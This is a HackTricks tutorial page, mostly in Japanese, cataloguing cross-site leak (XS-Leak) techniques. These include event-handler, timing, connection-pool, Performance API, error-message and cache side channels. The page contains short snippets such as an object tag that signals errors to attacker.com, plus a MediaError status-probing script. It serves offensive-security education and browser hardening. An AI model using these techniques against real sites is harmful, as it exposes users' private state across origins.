XS-Search/XS-Leaks
Reading time: 82 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
XS-Searchは、サイドチャネル脆弱性を利用してクロスオリジン情報を抽出するための手法です。
この攻撃に関与する主要なコンポーネントは以下の通りです:
- 脆弱なWeb: 情報を抽出することを目的としたターゲットウェブサイト。
- 攻撃者のWeb: 攻撃者が作成した悪意のあるウェブサイトで、被害者が訪れ、エクスプロイトをホストしています。
- インクルージョンメソッド: 脆弱なWebを攻撃者のWebに組み込むために使用される技術(例:window.open、iframe、fetch、hrefを持つHTMLタグなど)。
- リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて、脆弱なWebの状態の違いを識別するために使用される技術。
- 状態: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な条件。
- 検出可能な違い: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。
検出可能な違い
脆弱なWebの状態を区別するために分析できるいくつかの側面があります:
- ステータスコード: サーバーエラー、クライアントエラー、または認証エラーなど、さまざまなHTTPレスポンスステータスコードをクロスオリジンで区別します。
- API使用: ページ間でのWeb APIの使用を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
- リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
- ページコンテンツ: HTTPレスポンスボディやページのサブリソースにおける変化を観察し、埋め込まれたフレームの数や画像のサイズの違いを確認します。
- HTTPヘッダー: 特定のHTTPレスポンスヘッダーの存在またはその値に注意を払い、X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーを含みます。
- タイミング: 2つの状態間の一貫した時間の違いに気づきます。
インクルージョンメソッド
- HTML要素: HTMLは、スタイルシート、画像、スクリプトなど、クロスオリジンリソースのインクルージョンのためのさまざまな要素を提供し、ブラウザに非HTMLリソースをリクエストさせます。この目的のための潜在的なHTML要素のコンパイルはhttps://github.com/cure53/HTTPLeaksで見つけることができます。
- フレーム: iframe、object、およびembedなどの要素は、攻撃者のページにHTMLリソースを直接埋め込むことができます。ページがフレーミング保護を欠いている場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのウィンドウオブジェクトにアクセスできます。
- ポップアップ:
window.open
メソッドは、新しいタブまたはウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティと対話するためのウィンドウハンドルを提供します。ポップアップは、シングルサインオンでよく使用され、ターゲットリソースのフレーミングおよびクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。 - JavaScriptリクエスト: JavaScriptは、XMLHttpRequestsやFetch APIを使用してターゲットリソースへの直接リクエストを許可します。これらのメソッドは、HTTPリダイレクトに従うかどうかを選択するなど、リクエストに対する正確な制御を提供します。
リーク技術
- イベントハンドラー: XS-Leaksにおける古典的なリーク技術で、onloadやonerrorのようなイベントハンドラーがリソースの読み込みの成功または失敗に関する洞察を提供します。
- エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージから直接リーク情報を提供したり、その存在と不在を区別したりすることができます。
- グローバル制限: メモリ容量や他の強制されたブラウザ制限など、ブラウザの物理的制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
- グローバル状態: ブラウザのグローバル状態(例:履歴インターフェース)との検出可能な相互作用を悪用できます。たとえば、ブラウザの履歴内のエントリの数は、クロスオリジンページに関する手がかりを提供します。
- パフォーマンスAPI: このAPIは、現在のページのパフォーマンス詳細を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、要求されたリソースに関する推測を可能にします。
- 読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。たとえば、
window.frame.length
プロパティは、JavaScriptがクロスオリジンのウェブページに含まれるフレームの数をカウントすることを可能にします。
XSinatorツールと論文
XSinatorは、いくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールであり、その論文で説明されています:https://xsinator.com/paper.pdf
ツールにはhttps://xsinator.com/でアクセスできます。
warning
除外されたXS-Leaks: 他のリークに干渉するため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションの誤設定やバグに依存するXS-Leaksも除外することにしました。たとえば、CrossOrigin Resource Sharing (CORS)の誤設定、postMessageリーク、またはクロスサイトスクリプティングです。さらに、時間ベースのXS-Leaksは、遅く、ノイズが多く、不正確であることが多いため、除外しました。
タイミングベースの技術
以下の技術のいくつかは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法はいくつかあります。
時計: performance.now() APIは、開発者が高解像度のタイミング測定を取得することを可能にします。
攻撃者が暗黙の時計を作成するために悪用できるAPIは多数あります:Broadcast Channel API、Message Channel API、requestAnimationFrame、setTimeout、CSSアニメーションなど。
詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/clocksを参照してください。
イベントハンドラ技術
Onload/Onerror
- インクルージョンメソッド: フレーム、HTML要素
- 検出可能な違い: ステータスコード
- 詳細情報: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu、https://xsleaks.dev/docs/attacks/error-events/
- 概要: リソースを読み込もうとすると、onerror/onloadイベントがトリガーされ、リソースが成功裏に/失敗して読み込まれたかどうかを判断することができます。
- コード例: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
コード例は、他のタグ(オブジェクト、スタイルシート、画像、オーディオなど)を使用することもできますが、JSからスクリプトオブジェクトを読み込もうとします。さらに、タグを直接挿入し、タグ内でonload
およびonerror
イベントを宣言することも可能です(JSから挿入するのではなく)。
この攻撃のスクリプトなしのバージョンもあります:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
この場合、example.com/404
が見つからない場合、attacker.com/?error
が読み込まれます。
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (一般的にページコンテンツ、ステータスコードによる)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: performance.now() API は、リクエストを実行するのにかかる時間を測定するために使用できます。ただし、他の時計も使用できます。例えば、PerformanceLongTaskTiming API は、50ms以上実行されているタスクを特定できます。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events 別の例は次の通りです:
Onload Timing + Forced Heavy Task
この技術は前のものと似ていますが、attacker は 関連する時間 をかける アクションを強制 し、応答が肯定的または否定的 の場合にその時間を測定します。
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (一般的にページコンテンツ、ステータスコードによる)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: SharedArrayBuffer clock は、リクエストを実行するのにかかる時間を測定するために使用できます。他の時計も使用できます。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
リソースを取得するのにかかる時間は、unload
および beforeunload
イベントを利用して測定できます。beforeunload
イベントは、ブラウザが新しいページに移動しようとしているときに発生し、unload
イベントは、実際にナビゲーションが行われているときに発生します。これら2つのイベントの間の時間差を計算することで、ブラウザがリソースを取得するのにかかった時間 を特定できます。
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (一般的にページコンテンツ、ステータスコードによる)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: performance.now() API は、リクエストを実行するのにかかる時間を測定するために使用できます。他の時計も使用できます。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。この測定は、iframe の onload
ハンドラーがリソースの読み込みと JavaScript の実行が完了した後にのみトリガーされるため、通常可能です。スクリプト実行によって導入される変動を回避するために、攻撃者は <iframe>
内で sandbox
属性を使用することがあります。この属性を含めることで、多くの機能が制限され、特に JavaScript の実行が制限されるため、ネットワークパフォーマンスに主に影響される測定が容易になります。
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: 正しいコンテンツにアクセスしたときにページがエラーを出し、任意のコンテンツにアクセスしたときに正しく読み込まれるようにできる場合、時間を測定することなくすべての情報を抽出するループを作成できます。
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: ページが機密コンテンツを返す、またはユーザーによって制御可能なコンテンツを返す場合、ユーザーは負のケースで有効なJSコードを設定し、各試行を**
<script>
タグ内でロードできます。したがって、負のケースでは攻撃者のコードが実行され**、肯定的なケースでは何も実行されません。 - Code Example:
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: **Cross-Origin Read Blocking (CORB)**は、攻撃から保護するために特定の機密クロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護動作を悪用できます。CORBの対象となる応答が
nosniff
と2xx
ステータスコードを持つ_CORB保護_Content-Type
を返すと、CORBは応答の本文とヘッダーを削除します。これを観察する攻撃者は、ステータスコード(成功またはエラーを示す)とContent-Type
(CORBによって保護されているかどうかを示す)の組み合わせを推測し、潜在的な情報漏洩につながります。 - Code Example:
Check the more information link for more information about the attack.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: idまたはname属性から機密データを漏洩させます。
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
It's possible to load a page inside an iframe and use the #id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
You can perform the same attack with portal
tags.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してページ内のユーザーのステータスを知る
- Code Example:
Any code listening for all postMessages.
Applications frequently utilize postMessage
broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin
parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: WebSocket接続制限を使い果たすことで、クロスオリジンページのWebSocket接続数が漏洩します。
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: 支払いリクエストを検出します。なぜなら、同時にアクティブにできるのは1つだけだからです。
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: シングルスレッドのJSイベントループを悪用して、ウェブの実行時間を測定します。
- Code Example:
Event Loop Blocking + Lazy images
JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.
warning
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: ウェブ操作の実行時間を測定する方法の1つは、スレッドのイベントループを意図的にブロックし、イベントループが再び利用可能になるまでの時間を測定することです。ブロッキング操作(長い計算や同期API呼び出しなど)をイベントループに挿入し、その後のコードが実行を開始するまでの時間を監視することで、ブロッキング期間中にイベントループで実行されていたタスクの期間を推測できます。この技術は、タスクが順次実行されるJavaScriptのシングルスレッドの性質を利用しており、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
- Code Example:
A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by Site Isolation.
warning
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: 攻撃者はすべてのソケットを1つを除いてロックし、ターゲットウェブをロードし、同時に別のページをロードすることで、最後のページが読み込みを開始するまでの時間がターゲットページの読み込みにかかった時間です。
- Code Example:
Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:
- Ascertain the browser's socket limit, for instance, 256 global sockets.
- Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
- Employ the 256th socket to send a request to the target page.
- Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page's socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Summary: 前の技術と似ていますが、すべてのソケットを使用するのではなく、Google Chromeは同じオリジンへの同時リクエストを6つに制限します。もし5つをブロックし、次に6つ目のリクエストを発信すると、時間を測定でき、もし被害者ページが同じエンドポイントにリクエストを送信することができれば、6つ目のリクエストは長くかかり、検出できます。
Performance API Techniques
The Performance API
offers insights into the performance metrics of web applications, further enriched by the Resource Timing API
. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: *
header in their responses, additional data like the transfer size and domain lookup time becomes available.
This wealth of data can be retrieved via methods like performance.getEntries
or performance.getEntriesByName
, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now()
. However, it's worth noting that for certain operations in browsers like Chrome, the precision of performance.now()
may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance
object in Chrome can indicate the application of X-Frame-Options
. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options
, it will not be recorded in the performance
object, providing a subtle clue about the page's framing policies.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: エラーが発生したリクエストはリソースタイミングエントリを作成しません。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ブラウザのバグにより、エラーが発生したリクエストは2回読み込まれます。
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: エラーが発生したリクエストはマージできません。
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: 空のレスポンスはリソースタイミングエントリを作成しません。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: セキュリティアサーションでXSS Auditorを使用することで、攻撃者は特定のウェブページ要素を検出できます。これは、作成されたペイロードが監査人のフィルタリングメカニズムをトリガーしたときに応答の変化を観察することによって行われます。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options
.
Same happens if you use an embed tag.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ダウンロードはPerformance APIにリソースタイミングエントリを作成しません。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: リソースタイミングエントリはリダイレクトの開始時間を漏洩します。
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: リダイレクトが発生した場合、タイミングエントリの持続時間は負の値になります。
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: CORPで保護されたリソースはリソースタイミングエントリを作成しません。
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: 特定のオリジンに対してサービスワーカーが登録されているかどうかを検出します。
- Code Example:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: リソースがキャッシュに保存されているかどうかを確認できます。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Using the Performance API it's possible to check if a resource is cached.
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary:
performance
APIからリクエストのネットワーク持続時間を取得できます。 - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: Firefoxでは、クロスオリジンリクエストのステータスコードを正確に漏洩させることが可能です。
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
MediaError
インターフェースのメッセージプロパティは、成功裏に読み込まれたリソースを一意に識別する特定の文字列を持っています。攻撃者はこの機能を利用して、メッセージの内容を観察することで、クロスオリジンリソースの応答ステータスを推測できます。
CORSエラー
- インクルージョンメソッド: Fetch API
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsinator.com/paper.pdf (5.3)
- 概要: セキュリティアサーション(SA)において、CORSエラーメッセージはリダイレクトされたリクエストの完全なURLを意図せずに公開します。
- コード例: https://xsinator.com/testing.html#CORS%20Error%20Leak
この技術により、攻撃者はクロスオリジンサイトのリダイレクト先を抽出することができます。具体的には、CORS対応リクエストがユーザーの状態に基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、リダイレクトのターゲットの完全なURLがエラーメッセージ内に開示されます。この脆弱性はリダイレクトの事実を明らかにするだけでなく、リダイレクトのエンドポイントや含まれる可能性のある機密のクエリパラメータも公開します。
SRIエラー
- インクルージョンメソッド: Fetch API
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsinator.com/paper.pdf (5.3)
- 概要: セキュリティアサーション(SA)において、CORSエラーメッセージはリダイレクトされたリクエストの完全なURLを意図せずに公開します。
- コード例: https://xsinator.com/testing.html#SRI%20Error%20Leak
攻撃者は冗長なエラーメッセージを利用して、クロスオリジンの応答のサイズを推測できます。これは、サブリソース整合性(SRI)のメカニズムによるもので、整合性属性を使用して、CDNから取得されたリソースが改ざんされていないことを検証します。SRIがクロスオリジンリソースで機能するためには、これらがCORS対応でなければなりません。そうでない場合、整合性チェックの対象にはなりません。セキュリティアサーション(SA)において、CORSエラーXSリークと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、任意のリクエストの整合性属性に偽のハッシュ値を割り当てることで、このエラーを意図的にトリガーできます。SAでは、結果として得られるエラーメッセージが要求されたリソースのコンテンツ長を意図せずに明らかにします。この情報漏洩により、攻撃者は応答サイズの変動を識別でき、洗練されたXSリーク攻撃の道を開きます。
CSP違反/検出
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: ステータスコード
- 詳細情報: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- 概要: CSPで被害者のウェブサイトのみを許可すると、他のドメインにリダイレクトしようとした場合、CSPが検出可能なエラーをトリガーします。
- コード例: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XSリークは、CSPを使用してクロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらにリダイレクトターゲットのドメインも漏洩します。この攻撃の基本的なアイデアは、攻撃者サイトでターゲットドメインを許可することです。ターゲットドメインにリクエストが発行されると、それはクロスオリジンドメインにリダイレクトします。CSPはそのアクセスをブロックし、違反レポートを作成してリーク技術として使用します。ブラウザによっては、このレポートがリダイレクトのターゲットの場所を漏洩する可能性があります。
最新のブラウザは、リダイレクトされたURLを示しませんが、クロスオリジンリダイレクトがトリガーされたことを検出することはできます。
キャッシュ
- インクルージョンメソッド: フレーム、ポップアップ
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- 概要: ファイルをキャッシュからクリアします。ターゲットページを開き、ファイルがキャッシュに存在するかどうかを確認します。
- コード例:
ブラウザは、すべてのウェブサイトに対して1つの共有キャッシュを使用する場合があります。オリジンに関係なく、ターゲットページが特定のファイルを要求したかどうかを推測することが可能です。
ページがユーザーがログインしている場合にのみ画像を読み込む場合、リソースを無効にする(キャッシュされていない場合は、詳細情報リンクを参照)ことができ、そのリソースを読み込むリクエストを実行し、不正なリクエスト(例:過剰なリファラーヘッダーを使用)でリソースを読み込もうとします。リソースの読み込みがエラーをトリガーしなかった場合、それはキャッシュされていた**からです。
CSPディレクティブ
- インクルージョンメソッド: フレーム
- 検出可能な違い: ヘッダー
- 詳細情報: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- 概要: CSPヘッダーディレクティブは、CSP iframe属性を使用してプローブされ、ポリシーの詳細が明らかになります。
- コード例: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome(GC)の新機能により、ウェブページはiframe要素に属性を設定することでコンテンツセキュリティポリシー(CSP)を提案でき、ポリシーディレクティブがHTTPリクエストと共に送信されます。通常、埋め込まれたコンテンツはこれをHTTPヘッダーを介して承認する必要があります。さもなければ、エラーページが表示されます。ただし、iframeがすでにCSPによって管理されており、新たに提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムは、攻撃者がエラーページを特定することによってクロスオリジンページの特定のCSPディレクティブを検出する道を開きます。この脆弱性は修正されたとされましたが、私たちの調査結果は、エラーページを検出できる新しいリーク技術を明らかにしており、根本的な問題が完全に解決されていないことを示唆しています。
CORP
- インクルージョンメソッド: Fetch API
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsleaks.dev/docs/attacks/browser-features/corp/
